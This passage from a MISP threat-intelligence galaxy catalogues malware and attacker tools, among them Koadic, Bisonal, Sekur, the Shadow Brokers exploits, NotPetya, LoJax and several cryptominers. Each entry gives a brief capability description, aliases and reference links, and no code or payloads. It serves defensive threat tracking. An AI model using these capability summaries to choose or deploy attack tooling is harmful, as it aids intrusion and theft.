the downloaded plugin to be a DLL with an export function of either 'shell' or 'file'. The plugin uses the same network protocol as PLAINTEE and so we were able to trivially decode further commands that were sent. The following commands were observed: tasklist, ipconfig /all. The attacker performed these two commands 33 seconds apart. As automated commands are typically performed more quickly this indicates that they may have been sent manually by the attacker.

The tag is: *misp-galaxy:tool="PLAINTEE"*

PLAINTEE has relationships with:

- similar: misp-galaxy:malpedia="PLAINTEE" with estimative-language:likelihood-probability="likely"

Table 4243. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/

Koadic

Koadic, or COM Command & Control, is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire. The major difference is that Koadic does most of its operations using Windows Script Host

The tag is: *misp-galaxy:tool="Koadic"*

Koadic has relationships with:

- similar: misp-galaxy:malpedia="Koadic" with estimative-language:likelihood-probability="likely"

Table 4244. Table References

Links
https://github.com/zerosum0x0/koadic
https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/

Bisonal

In early May, Unit 42 discovered an attack campaign against at least one defense company in Russia and one unidentified organization in South Korea delivering a variant of Bisonal malware. While not previously publicly documented, the variant has been in the wild since at least 2014. There are three primary differences between it and older Bisonal malware including a different cipher and encryption for C2 communication, and a large rewrite of the code for both network communication and maintaining persistence. To date, we have only collected 14 samples of this variant, indicating it may be sparingly used. The adversary behind these attacks lured the targets into launching the Microsoft Windows executable malware by masquerading it as a PDF file (using a fake PDF icon) and reusing publicly available data for the decoy PDF file's contents. Attacks using Bisonal have been blogged about in the past. In 2013, both COSEINC and FireEye revealed attacks using Bisonal against Japanese organizations . In October 2017, AhnLab published a report called “Operation Bitter Biscuit,” an attack campaign against South Korea, Japan, India and Russia using Bisonal and its successors, Bioazih and Dexbia.

The tag is: *misp-galaxy:tool="Bisonal"*

Bisonal has relationships with:

- similar: misp-galaxy:malpedia="Korlia" with estimative-language:likelihood-probability="likely"

Table 4245. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/
https://camal.coseinc.com/publish/2013Bisonal.pdf

Sekur

Sekur has been CARBON SPIDER's primary tool for several years, although usage over the last year appears to have declined. It contains all the functionality you would expect from a RAT, allowing the adversary to execute commands, manage the file system, manage processes, and collect data. In addition, it can record videos of victim sessions, log keystrokes, enable remote desktop, or install Ammyy Admin or VNC modules. From July 2014 on, samples were compiled with the capability to target Epicor POS systems and to collect credit card data.

The tag is: *misp-galaxy:tool="Sekur"*

Table 4246. Table References

Links
https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/

Agent ORM

Agent ORM began circulating alongside Skeur in campaigns throughout the second half of 2015. The malware collects basic system information and is able to take screenshots of victim systems. It is used to download next-stage payloads when systems of interest are identified. It is strongly suspected that Agent ORM has been deprecated in favor of script-based first-stage implants (VB Flash, JS Flash, and Bateleur).

The tag is: *misp-galaxy:tool="Agent ORM"*

Agent ORM is also known as:

- Tosliph
- DRIFTPIN

Table 4247. Table References

Links
https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/

VB Flash

VB Flash was first observed being deployed alongside Agent ORM in September 2015. It is likely that this was developed as a replacement to Agent ORM and contained similar capabilities. The first observed instance of VB Flash included comments and was easy to analyze—later versions soon began to integrate multiple layers of obfuscation. Several versions of VB Flash were developed including ones that utilized Google Forms, Google Macros, and Google Spreadsheets together to make a command-and-control (C2) channel. This variant would POST victim data to a specified Google form, then make a request to a Google macro script, receiving an address for a Google Spreadsheet from which to request commands.

The tag is: *misp-galaxy:tool="VB Flash"*

VB Flash is also known as:

- HALFBAKED

VB Flash has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="HALFBAKED - S0151" with estimative-language:likelihood-probability="likely"

Table 4248. Table References

Links
https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/

JS Flash

JS Flash capabilities closely resemble those of VB Flash and leverage interesting techniques in deployment via batch scripts embedded as OLE objects in malicious documents. Many iterations of JS Flash were observed being tested before deployment, containing minor changes to obfuscation and more complex additions, such as the ability to download TinyMet (a cutdown of the Metasploit Meterpreter payload). PowerShell was also used heavily for the execution of commands and arbitrary script execution. No JS Flash samples were observed being deployed after November 2017.

The tag is: *misp-galaxy:tool="JS Flash"*

JS Flash is also known as:

- JavaScript variant of HALFBAKED

Table 4249. Table References

Links
https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/

Bateleur

Bateleur deployments began not long after JS Flash and were also written in JavaScript. Deployments were more infrequent and testing was not observed. It is likely that Bateleur was run in parallel as an alternative tool and eventually replaced JS Flash as CARBON SPIDER's first stage tool of choice. Although much simpler in design than JS Flash, all executing out of a single script with more basic obfuscation, Bateleur has a wealth of capabilities—including the ability to download arbitrary scripts and executables, deploy TinyMet, execute commands via PowerShell, deploy a credential stealer, and collect victim system information such as screenshots.

The tag is: *misp-galaxy:tool="Bateleur"*

Bateleur has relationships with:

- similar: misp-galaxy:malpedia="Bateleur" with estimative-language:likelihood-probability="likely"

Table 4250. Table References

Links
https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/

JexBoss

A tool for testing and exploiting vulnerabilities in JBoss Application Servers.

The tag is: *misp-galaxy:tool="JexBoss"*

Table 4251. Table References

Links
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf

reGeorg

“Provides TCP tunneling over HTTP and bolts a SOCKS4/5 proxy on top of it, so, reGeorg is a fully-functional SOCKS proxy and gives ability to analyze target internal network.”

The tag is: *misp-galaxy:tool="reGeorg"*

reGeorg has relationships with:

- similar: misp-galaxy:malpedia="reGeorg" with estimative-language:likelihood-probability="likely"

Table 4252. Table References

Links
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf

Hyena

An Active Directory and Windows system management software, which can be used for remote administration of servers and workstations.

The tag is: *misp-galaxy:tool="Hyena"*

Table 4253. Table References

Links
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf

csvde.exe

Imports and exports data from Active Directory Lightweight Directory Services (AD LDS) using files that store data in the comma-separated value (CSV) format.

The tag is: *misp-galaxy:tool="csvde.exe"*

Table 4254. Table References

Links
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf

NLBrute

A tool to brute-force Remote Desktop Protocol (RDP) passwords.

The tag is: *misp-galaxy:tool="NLBrute"*

Table 4255. Table References

Links
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf

xDedic RDP Patch

Used to create new RDP user accounts.

The tag is: *misp-galaxy:tool="xDedic RDP Patch"*

Table 4256. Table References

Links
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf

xDedic SysScan

Used to profile servers for potential sale on the dark net

The tag is: *misp-galaxy:tool="xDedic SysScan"*

Table 4257. Table References

Links
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf

Wmiexec

A PsExec-like tool, which executes commands through Windows Management Instrumentation (WMI).

The tag is: *misp-galaxy:tool="Wmiexec"*

Table 4258. Table References

Links
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf

RDPWrap

Allows a user to be logged in both locally and remotely at the same time.

The tag is: *misp-galaxy:tool="RDPWrap"*

Table 4259. Table References

Links
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf

PsExec

A light-weight telnet-replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software. When a command is executed on a remote computer using PsExec, then the service PSEXESVC will be installed on that system, which means that an executable called psexesvc.exe will execute the commands.

The tag is: *misp-galaxy:tool="PsExec"*

PsExec has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-tool="PsExec - S0029" with estimative-language:likelihood-probability="likely"

Table 4260. Table References

Links
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf

PAExec

A PsExec-like tool, which lets you launch Windows programs on remote Windows computers without needing to install software on the remote computer first. When the PAExec service is running on the remote computer, the name of the source system is added to service's name, e.g., paexec-<id>-<source computer name>.exe, which can help to identify the entry point of the attack.

The tag is: *misp-galaxy:tool="PAExec"*

Table 4261. Table References

Links
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf

KEYMARBLE

This Malware Analysis Report (MAR) is the result of analytic efforts between Department of Homeland Security (DHS) and the Federal Bureau of Investigation (FBI). Working with U.S. Government partners, DHS and FBI identified Trojan malware variants used by the North Korean government. This malware variant has been identified as KEYMARBLE. The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA. For more information on HIDDEN COBRA activity.

The tag is: *misp-galaxy:tool="KEYMARBLE"*

KEYMARBLE has relationships with:

- similar: misp-galaxy:malpedia="KEYMARBLE" with estimative-language:likelihood-probability="likely"

Table 4262. Table References

Links
https://www.us-cert.gov/ncas/analysis-reports/AR18-221A

BISKVIT

The BISKVIT Trojan is a multi-component malware written in C#. We dubbed this malware BISKVIT based on the namespaces used in the code, which contain the word “biscuit”. Unfortunately, there is already an existing unrelated malware called BISCUIT, so BISKVIT is used instead, which is the Russian translation of biscuit.

The tag is: *misp-galaxy:tool="BISKVIT"*

Table 4263. Table References

Links
https://www.fortinet.com/blog/threat-research/russian-army-exhibition-decoy-leads-to-new-biskvit-malware.html

Sirefef

This family of malware uses stealth to hide its presence on your PC. Trojans in this family can do different things, including: -Downloading and running other files -Contacting remote hosts -Disabling security features Members of the family can also change search results, which can generate money for the hackers who use Sirefef.

The tag is: *misp-galaxy:tool="Sirefef"*

Sirefef is also known as:

- Win32/Sirefef

Table 4264. Table References

Links
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32%2Fsirefef

MagentoCore Malware

A Dutch security researcher has lifted the veil on a massive website hacking campaign that has infected 7,339 Magento stores with a script that collects payment card data from people shopping on the sites. The script is what industry experts call a "payment card scraper" or "skimmer." Hackers breach sites and modify their source code to load the script along with its legitimate files. The script usually loads on store checkout pages and secretly records payment card details entered in payment forms, data that it later sends to a server under the hacker’s control.

The tag is: *misp-galaxy:tool="MagentoCore Malware"*

Table 4265. Table References

Links
https://www.bleepingcomputer.com/news/security/magentocore-malware-found-on-7-339-magento-stores/

NotPetya

Threat actors deploy a tool, called NotPetya, with the purpose of encrypting data on victims' machines and rendering it unusable. The malware was spread through tax software that companies and individuals require for filing taxes in Ukraine. Australia, Estonia, Denmark, Lithuania, Ukraine, the United Kingdom, and the United States issued statements attributing NotPetya to Russian state-sponsored actors. In June 2018, the United States sanctioned Russian organizations believed to have assisted the Russian state-sponsored actors with the operation.

The tag is: *misp-galaxy:tool="NotPetya"*

NotPetya is also known as:

- Not Petya

NotPetya has relationships with:

- similar: misp-galaxy:ransomware="Bad Rabbit" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="EternalPetya" with estimative-language:likelihood-probability="likely"

Table 4266. Table References

Links
https://www.cfr.org/interactive/cyber-operations/notpetya

Xbash

Xbash is a malware family that is targeting Linux and Microsoft Windows servers. We can tie this malware, which we have named Xbash, to the Iron Group, a threat actor group known for previous ransomware attacks.

The tag is: *misp-galaxy:tool="Xbash"*

Table 4267. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/

LoJax

rootkit for the Unified Extensible Firmware Interface (UEFI). Used by APT28. The researchers named the rootkit LoJax, after the malicious samples of the LoJack anti-theft software that were discovered earlier this year.

The tag is: *misp-galaxy:tool="LoJax"*

Table 4268. Table References

Links
https://www.bleepingcomputer.com/news/security/apt28-uses-lojax-first-uefi-rootkit-seen-in-the-wild/

Chainshot

The new piece of malware, which received the name Chainshot, is used in the early stages of an attack to activate a downloader for the final payload in a malicious chain reaction.

The tag is: *misp-galaxy:tool="Chainshot"*

Table 4269. Table References

Links
https://www.bleepingcomputer.com/news/security/new-chainshot-malware-found-by-cracking-512-bit-rsa-key/

CroniX

The researchers named this campaign CroniX, a moniker that derives from the malware's use of Cron to achieve persistence and Xhide to launch executables with fake process names. The cryptocurrency minted on victim's computers is Monero (XMR), the coin of choice in cryptojacking activities. To make sure that rival activity does not revive, CroniX deletes the binaries of other cryptominers present on the system. Another action CroniX takes to establish supremacy on the machine is to check the names of the processes and kill those that swallow 60% of the CPU or more.

The tag is: *misp-galaxy:tool="CroniX"*

Table 4270. Table References

Links
https://www.bleepingcomputer.com/news/security/cronix-cryptominer-kills-rivals-to-reign-supreme/

FASTCash

Treasury has identified a sophisticated cyber-enabled ATM cash out campaign we are calling FASTCash. FASTCash has been active since late 2016 targeting banks in Africa and Asia to remotely compromise payment switch application servers within banks to facilitate fraudulent transactions, primarily involving ATMs, to steal cash equivalent to tens of millions of dollars. FBI has attributed malware used in this campaign to the North Korean government. We expect FASTCash to continue targeting retail payment systems vulnerable to remote exploitation.

The tag is: *misp-galaxy:tool="FASTCash"*

ZEBROCY

ZEBROCY is a tool used by APT28, which has been observed since late 2015. The communications module used by ZEBROCY transmits using HTTP. The implant has key logging and file exfiltration functionality and utilises a file collection capability that identifies files with particular extensions.

The tag is: *misp-galaxy:tool="ZEBROCY"*

Table 4271. Table References

Links
https://www.ncsc.gov.uk/alerts/indicators-compromise-malware-used-apt28

CoalaBot

The tag is: *misp-galaxy:tool="CoalaBot"*

DanderSpritz

DanderSpritz consists entirely of plugins to gather intelligence, use exploits and examine already controlled machines. It is written in Java and provides a graphical windows interface similar to botnets administrative panels as well as a Metasploit-like console interface. It also includes its own backdoors and plugins for not-FuzzBunch-controlled victims DanderSpritz is the framework for controlling infected machines, different from FuZZbuNch as the latter provides a limited toolkit for the post-exploitation stage with specific functions such as DisableSecurity and EnableSecurity for DarkPulsar. For DanderSpritz works for a larger range of backdoors, using PeedleCheap in the victim to enable operators launching plugins. PeddleCheap is a plugin of DanderSpritz which can be used to configure implants and connect to infected machines. Once a connection is established all DanderSpritz post-exploitation features become available.

The tag is: *misp-galaxy:tool="DanderSpritz"*

DanderSpritz is also known as:

- Dander Spritz

Table 4272. Table References

Links
https://securelist.com/darkpulsar/88199/

DarkPulsar

DarkPulsar is a very interesting administrative module for controlling a passive backdoor named ‘sipauth32.tsp’ that provides remote control.

The tag is: *misp-galaxy:tool="DarkPulsar"*

DarkPulsar is also known as:

- Dark Pulsar

Table 4273. Table References

Links
https://securelist.com/darkpulsar/88199/

EASYFUN

EasyFun 2.2.0 Exploit for WDaemon / IIS MDaemon/WorldClient pre 9.5.6 WordClient / IIS6.0 exploit

The tag is: *misp-galaxy:tool="EASYFUN"*

Table 4274. Table References

Links
https://github.com/misterch0c/shadowbroker

ETCETERABLUE

an exploit for IMail 7.04 to 8.05

The tag is: *misp-galaxy:tool="ETCETERABLUE"*

Table 4275. Table References

Links
https://github.com/misterch0c/shadowbroker

EXPIREDPAYCHECK

IIS6 exploit

The tag is: *misp-galaxy:tool="EXPIREDPAYCHECK"*

Table 4276. Table References

Links
https://github.com/misterch0c/shadowbroker

EAGERLEVER

NBT/SMB exploit for Windows NT4.0, 2000, XP SP1 & SP2, 2003 SP1 & Base Release

The tag is: *misp-galaxy:tool="EAGERLEVER"*

Table 4277. Table References

Links
https://github.com/misterch0c/shadowbroker

ESSAYKEYNOTE

The tag is: *misp-galaxy:tool="ESSAYKEYNOTE"*

Table 4278. Table References

Links
https://github.com/misterch0c/shadowbroker

EVADEFRED

The tag is: *misp-galaxy:tool="EVADEFRED"*

Table 4279. Table References

Links
https://github.com/misterch0c/shadowbroker

NAMEDPIPETOUCH

Utility to test for a predefined list of named pipes, mostly AV detection. User can add checks for custom named pipes.

The tag is: *misp-galaxy:tool="NAMEDPIPETOUCH"*

Table 4280. Table References

Links
https://github.com/misterch0c/shadowbroker

GhostMiner

GhostMiner is a new cryptocurrency mining malware. By the end of March 2018, a new variant of mining malware was detected targeting MSSQL, phpMyAdmin, and Oracle WebLogic servers. The sample uses Powershell to execute code with volatile resources and scans the server's processes to detect and stop other miners that might have been running prior to execution. The fileless malware has become more popular in the last years. The malicious code runs directly in main memory without writing any file on disk, where an antivirus engine could detect it.

The tag is: *misp-galaxy:tool="GhostMiner"*

Table 4281. Table References

Links
https://www.alienvault.com/forums/discussion/17301/alienvault-labs-threat-intelligence-update-for-usm-anywhere-march-25-march-31-2018

August

August contains stealing functionality targeting credentials and sensitive documents from the infected computer.

The tag is: *misp-galaxy:tool="August"*

August is also known as:

- August Stealer

Table 4282. Table References

Links
https://www.proofpoint.com/uk/threat-insight/post/august-in-december-new-information-stealer-hits-the-scene

China Chopper

China Chopper is a publicly available, well-documented web shell, in widespread use since 2012.

The tag is: *misp-galaxy:tool="China Chopper"*

Table 4283. Table References

Links
https://www.ncsc.gov.uk/content/files/protected_files/article_files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf

PNG Dropper

The PNG_dropper family primarily uses a modified version of the publicly available tool JPEGView.exe (version 1.0.32.1 – both x86 and x64 bit versions). Carbon Black Threat Research also observed where PNG_dropper malware was seen compiled into a modified version of the 7-Zip File Manager Utility (version 9.36.0.0 – x64 bit).

The tag is: *misp-galaxy:tool="PNG Dropper"*

PNG Dropper is also known as:

- PNG_Dropper
- PNGDropper

Table 4284. Table References

Links
https://www.carbonblack.com/2017/08/18/threat-analysis-carbon-black-threat-research-dissects-png-dropper/
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/november/turla-png-dropper-is-back/

Rotexy

A mobile spyware that turned into a banking trojan with ransomware capabilities managed to launch over 70,000 attacks in the course of just three months.

The tag is: *misp-galaxy:tool="Rotexy"*

Rotexy is also known as:

- SMSThief

Table 4285. Table References

Links
https://www.bleepingcomputer.com/news/security/rotexy-mobile-trojan-launches-70k-attacks-in-three-months/

KingMiner

A recently discovered cryptomining operation forces access to Windows servers to use their CPU cycles for mining Monero coins. Detected six months ago, the activity went through multiple stages of evolution. Since it was spotted in mid-June, the malware received two updates and the number of attacks keeps increasing. The researchers at CheckPoint analyzed the new threat and gave it the name KingMiner. They found that it targets Microsoft IIS and SQL Servers in particular and runs a brute-force attack to gain access. Once in, the malware determines the CPU architecture and checks for older versions of itself to remove them.

The tag is: *misp-galaxy:tool="KingMiner"*

Table 4286. Table References

Links
https://www.bleepingcomputer.com/news/security/new-kingminer-threat-shows-cryptominer-evolution/

Taurus

Toolkit - building kit for crafting documents used to deliver attacks

The tag is: *misp-galaxy:tool="Taurus"*

Table 4287. Table References

Links
https://medium.com/@quoscient/golden-chickens-uncovering-a-malware-as-a-service-maas-provider-and-two-new-threat-actors-using-61cf0cb87648

Terra Loader

The tag is: *misp-galaxy:tool="Terra Loader"*

Table 4288. Table References

Links
https://medium.com/@quoscient/golden-chickens-uncovering-a-malware-as-a-service-maas-provider-and-two-new-threat-actors-using-61cf0cb87648

SpicyOmelette

In 2018, CTU researchers observed several GOLD KINGSWOOD campaigns involving SpicyOmelette, a tool used by the group during initial exploitation of an organization. This sophisticated JavaScript remote access tool is generally delivered via phishing, and it uses multiple defense evasion techniques to hinder prevention and detection activities. GOLD KINGSWOOD delivered SpicyOmelette through a phishing email containing a shortened link that appeared to be a PDF document attachment. When clicked, the link used the Google AppEngine to redirect the system to a GOLD KINGSWOOD-controlled Amazon Web Services (AWS) URL that installed a signed JavaScript file, which was SpicyOmelette.

The tag is: *misp-galaxy:tool="SpicyOmelette"*

Table 4289. Table References

Links
https://medium.com/@quoscient/golden-chickens-uncovering-a-malware-as-a-service-maas-provider-and-two-new-threat-actors-using-61cf0cb87648
https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish